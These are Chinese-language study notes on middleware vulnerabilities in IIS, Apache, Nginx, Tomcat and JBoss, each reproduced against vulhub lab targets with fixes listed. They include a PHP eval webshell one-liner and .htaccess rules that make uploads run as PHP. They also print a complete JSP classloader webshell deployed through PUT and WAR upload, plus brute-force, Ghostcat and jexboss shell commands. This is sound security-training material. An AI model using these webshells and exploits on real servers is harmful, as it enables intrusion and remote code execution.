web中间件安全
<span style="color:red;">红色</span>
学习目标
章节 | 学习目标 |
---|---|
中间件常见信息 | 常见中间件默认登录口令 常见中间件默认端口 常见中间件默认站点根目录 |
IIS漏洞利用与防护 | IIS PUT漏洞 IIS 短文件名猜解漏洞 IIS 解析漏洞 IIS 目录浏览漏洞 |
Apache常见漏洞利用与防护 | Apache 解析漏洞 Apache 目录浏览漏洞<> |
Nginx常见漏洞与防护 | Nginx 解析漏洞 Nginx 目录浏览漏洞 Nginx 路径穿越漏洞 |
Tomcat常见漏洞与防护 | 掌握Tomcat Basic爆破 掌握Tomcat 后门部署war包 掌握Tomcat 远程代码执行漏洞 掌握Tomcat 文件读取漏洞 |
jBoss常见漏洞利用与防护 | jBoss 反序列化漏洞 jBoss 后门部署war包 |
Weblogic常见漏洞利用与防护 | Weblogic 反序列化漏洞 Weblogic 后门部署war包 Weblogic 任意文件上传 Weblogic SSRF漏洞利用 Weblogic 文件密码解密的方式 |
中间价常见信息
IIS
PUT漏洞
漏洞介绍及成因
IIS Server在web 服务扩展中开启了webDAV,配置了可以写入的权限,造成任意文件上传。版本:IIS6.0
上传一句话木马文件,然后利用蚁剑连接拿shell
漏洞复现
开启webDAV 和写权限。
漏洞修复
关闭webDAV和写权限。
短文件名猜解
漏洞介绍及成因
有就404没有就400
IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。
漏洞复现
IIS8.0以下版本需要开启ASPNET支持,IIS大于等于8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。
漏洞修复
漏洞修复
1)升级.net framework
2)修改注册表禁用短文件名功能
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControlFileSystem,将其中的
NtfsDisable8dot3NameCreation这一项的值设为1,1代表不创建短文件名格式,修改完成后,需要重启系统生效
3 )CMD关闭NTFS 8.3文件格式的支持
4 )将web文件夹的内容拷贝到另一个位置,如c\www到d:\w,然后删除原文件夹,再重命名d:\w到c:\www。
解析漏洞
大多数原因都是网站管理员配置错误,或者web服务器自身的一些漏洞,导致一些特殊的文件被IIS,Apache,Nginx等其他web
服务器当做脚本执行。例如将php2,phtml等文件当做脚本执行。但是大部分都是服务器自身漏洞。
目录浏览
漏洞介绍及成因
用户在使用IIS进行配置时,误将网站管理属性->主目录->目录浏览选中,从而造成目录遍历漏洞。这一漏洞造成的影响为网站信息泄露,致使用户可以通过目录的形式来访问网站的文件。
漏洞复现
网站管理:属性->主目录->目录浏览
文件解析漏洞
在IIS5.x/6.0中,在网站下建立文件夹的名字为*.asp、.asa、.cer、.cdx的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录test.asp,那么/test.asp/1.jpg将被当做asp文件来执行在ⅡIS5.x/6.0中,分号后面的不被解析,也就是说xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种.asa .cer。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传.asp;.jpg、 *.asa;.jpg、 *.cer;.jpg后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。
畸形解析漏洞
在IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?> 将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在lupload目录下创建了一个一句话木马文件shell.php
其他解析漏洞
在windows环境下,xx.jpg[空格]或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。
漏洞修复
1)对新建目录文件名进行过滤,不允许新建包含.的文件
2)取消网站后台新建目录的功能,不允许新建目录
3 )限制上传的脚本执行权限,不允许执行脚本
4)过滤.asp/xm.jpg,通过ISApi组件过滤
Apache解析漏洞
文件名解析漏洞
Apache解析文件时默认从右往左解析,遇到不认识的后缀直接跳过,直到解析认识的后缀为止,例如解析
lyp.php.xxy 解析,xxy不认识往前解析,最终为lyp.php
实验中可以上传rar,owf等文件进行利用,不要上传phpinfo.php.jpg Apache认识jpg没法继续向前解析
漏洞修复:
将AddHandler application/x-httpd-php .php的配置文件删除。
目录浏览
目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,
比如数据库备份文件、配置文件等,攻击者利用该信息可以为进一步入侵网站做准备
漏洞修复
Options -Indexes +FollowSymLinks +ExecCGI
.htaccess文件
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。
通过.htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户
或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,
启用和关闭在 httpd.conf文件中配置。
文件生效的前提条件如下
mod_rewrite模块开启 LoadModule rewrite_module modules/mod_rewrite.so
AllowOverride All AllowOverride All
1:这个.htaccess的意思就是把所有名字里面含有shell的文件当成php脚本来执行
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatchc>
2:这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析
AddType application/x-httpd-php .jpg
3:SetHandler application/x-httpd-php,这行配置表示将所有后缀名都解析为php
Nginx
解析漏洞
对任意文件名在后面添加/xxx.php的一种解析漏洞例如原来文件名为pass.jpg 可以在后面添加pass.jpg/lyp.php,那么此文件就会被当做PHP解析此漏洞与服务器无关,完全是用户配置不当造成
漏洞复现
靶场地址https://github.com/vulhub/vulhub/tree/master/nginx/nginx_parsing_vulnerability
直接上传一个带有图片马,上传成功查看保存的路径,直接访问其路径然后在路径后面添加/shell.php后缀,
打印出图片内容复制完整路径利用中国蚁剑进行连接成功getshell
漏洞修复
1. 修改配置文件
/nginx/nginx_parsing_vulnerability/php-fpm/www-2-confsecurity.limit_extensions = .php
将=号后面加上.php
2. php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,
只要1.jpg不存在就会显示404页面
接着上传图片马发现文件无法解析
目录浏览
Nginx的目录遍历与Apache一样,属于配置方面的问题,错误的配置可到导致目录遍历与源码泄露。漏洞复现:修改/etc/nginx/sites-avaliable/default,在如下图所示的位置添加autoindex on漏洞修复将on改为off
漏洞发现
如上图所示开启autoindex on后,会出现目录浏览漏洞
路径穿越
靶场地址:https://github.com/vulhub/vulhub/tree/master/nginx/insecure-configuration
192.168.1.32:8081/files/192.168.1.32:8081/files../http://192.168.1.32:8081/files../etc/漏洞产生原因url中没有对/files加后缀/,而alias设置的/home/是有后缀/的,这个/导致可以从/home/目录穿越到他的上层目录
此外还存在目录遍历漏洞开启了 autoindex on;
Tomcat
Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当运行tomcat时,它实际上作为一个与Apache独立的进程单独运行的。
Tomcat&&Basic爆破
环境搭建
docker search tomcat
docker pull consol/tomcat-7.0
docker run -d -p 8080:8080 --name tomcat-baopo consol/tomcat-7.0
#直接访问139.224.225.64:8080即可
vulhub搭建
https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8/README.zh-cn.md
访问tomcat控制台
#输入用户名密码后用burp进行抓包
GET /manager/html HTTP/1.1
Host: 139.224.225.64:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://139.224.225.64:8080/
Cookie: JSESSIONID=C77BAB5CA7FB9A74D659FB1E170FED9D
Connection: close
Authorization: Basic YWRtaW46MzIyNDI0 #存在认证,将Basic后面的字符进行base64加密
利用burp爆破
YWRtaW46MzIyNDI0 添加变量,然后选择payload
tomcat控制台账号密码加密总结:
1. 传输的账号密码存在于请求头中的Authorization字段中.
2. 账号密码经过了base64加密
3. 传输的账号密码格式为(username:password)
利用msf爆破
use auxiliary/scanner/http/tomcat_mgr_login
set rhosts 139.224.225.64
run
#爆破成功
[+] 139.224.225.64:8080 - Login Successful: admin:admin
cheek_tomcat工具
git clone https://github.com/r00too/cheek_tomcat.git #克隆工具
python3 cheek_tomcat.py http://139.224.225.64:8080/manager/html #直接爆破
加固建议
docker exec -it 63c94be7637d /bin/bash
find / -name tomcat
#/opt/tomcat
cd /opt/tomcat/conf
进入此文件下 tomcat-users.xml
#重启tomcat即可
#进入bin目录
cd /opt/tomcat/bin
#关闭tomcat
./shutdown.sh
#启动tomcat
./startup.sh
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dl20ruzT-1630385093460)(web中间件安全.assets/image-20210811233116141.png)]
高版本Tomcat防爆破,在一定错误次数后会锁定目标用户!可以尝试使用手动弱口令猜解
后门部署war包
漏洞简介
参考博客
https://blog.csdn.net/weixin_43071873/article/details/109532160
环境接上个实验
vulhub搭建
https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8/README.zh-cn.md
漏洞简介及成因
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。若后台管理页面存在弱口令,则可以通过爆破获取密码。
而刚好上述通过弱口令进入后台。接下来进行getshell操作
制作war包
准备一个passwd.jsp的木马,然后将木马打包为war格式
使用如下命令:
jar cvf passwd.war passwd.jsp
部署war包
进入Tomcat后台上传刚刚制作的passwd.war包
然后浏览器访问这个war包,返回正常,利用中国蚁剑进行连接,成功getshellhttp://域名/passwd/passwd.jsp
修复方案
1.在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限,例如不允许远程登录;
2.增加对于本地和基于证书的身份验证,部署账户锁定机制,对于集中式认证,目录服务也要做相应配置,在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制;
3.以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制;
4.后台管理避免弱口令.
远程代码执行
漏洞简介
Tomcat运行在Windows主机上,且启用了HTTP PUT 请求方法,将readonly参数值设置为false,致使攻击者可以上传包含任意代码的JSP文件,造成任意代码执行。影响版本 Apache Tomcat 7.0.0-7.0.81。靶机地址https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615/README.zh-cn.md
漏洞复现
造成漏洞的原因是tomcat文件夹下的/conf/web.xml插入了如下代码<init-param><param-name>readonly</param-name><param-value>false</param-value> </init-param>增加以上配置导致我们可以向服务器写入文件
代码执行(CVE-2017-12617)
1. 首页抓包,然后将请求方式改为PUT,并上传一个/123.jsp/ 文件内容为123
上传成功后状态码为201并访问此文件,成功回显123,说明文件上传成功。
上木马,还是之前上传war包的那个jsp木马
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
被上传的木马文件存放位置在: tomcat/webapps/ROOT 目录下直接利用中国蚁剑进行连接即可,如下图成功getshell
修复方案
更新版本呗
将conf/web.xml文件的那个参数值设置为true,则攻击者无法上传文件
前端waf禁止PUT和DELETE请求
文件读取
靶场地址https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2020-1938/README.zh-cn.md
漏洞简介
漏洞编号 cve-2020-1938漏洞简介及成因[Ghostcat(幽灵猫) ]( https://www.chaitin.cn/zh/ghostcat )是由长亭科技安全研究员发现
的存在于Tomcat 中的安全漏洞,
由于Tomcat AJP协议设计上存在缺陷,攻击者通过Tomcat AJP Connector可以读取或包含Tomcat上所有 webapp目录下的任意文件,
例如可以读取 webapp配置文件或源代码。
此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
相关链接
https://www.chaitin.cn/zh/ghostcat
https://www.cnvd.org.cn/webinfo/show/5415
https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ
漏洞原理
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009AJP协议端口,两个端口默认均监听在外网ip。tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而可以控制request对象的下面三个Attribute属性javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件。
表示完全看不懂再说啥
漏洞复现
攻击的EXP地址
https://github.com/zhzyker/exphub
直接在攻击机运行攻击的POC即可,代码如下
python2 cve-2020-1938_exp.py -p 8009 139.224.225.64 -f /WEB-INF/web.xml (阿里云服务器搭建靶场需要开启8009端口)
如上图所示,成功读取web.xml的文件。
修复方案
JBoss
反序列化漏洞
靶场搭建
https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
工具下载地址 https://github.com/shack2/javaserializetools/releases/tag/1.0.20190828
漏洞介绍
漏洞描述及原理:
2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
影响版本: 5.x和6.x
漏洞复现
方法一:
访问/invoker/readonly 如果页面返回500,说明页面存在,此页面有反序列化漏洞
利用反序列化工具进行漏洞探测利用
工具下载地址: https://github.com/shack2/javaserializetools/releases/tag/1.0.20190828
方法二:
利用POC直接打 https://github.com/joaomatosf/jexboss.git
攻击机直接输入如下命令即可
python3 jexboss.py -host http://192.168.1.32:8080
cve-2017-7504
漏洞简介及成因Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。影响版本 JBoss AS 4.x及之前版本。
漏洞探测
该漏洞出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。若访问200,则可能存在漏洞。从网站的Favicon.ico已经网站的 Header和Footer都可以看到明显的JBoss特征信息,在网页的返回包中也可以查看到JBoSs-4.0.5的字样:
漏洞复现
直接访问 /jbossmq-httpil/HTTPServerILServlet 路径如果出现如下结果,则证明存在反序列化漏洞
探测存在漏洞后,直接利用POC拿shell即可
POC地址: https://github.com/joaomatosf/jexboss.git
下载完成后,直接在黑客主机上执行POC即可成功获取靶机的shell
运行如上命令后,POC会自动进行检查攻击,
根据提示输入yes
输入yes之后,成功获取一个shell,并且能够执行任意命令
后门部署war包
漏洞介绍
漏洞简介及成因
jBoss后台管理页面存在弱口令,通过爆破获得账号密码。登陆后台上传包含后门的war包。
漏洞复现
Administration Console管理页面存在弱口令,admin:admin,登陆后台上传war包。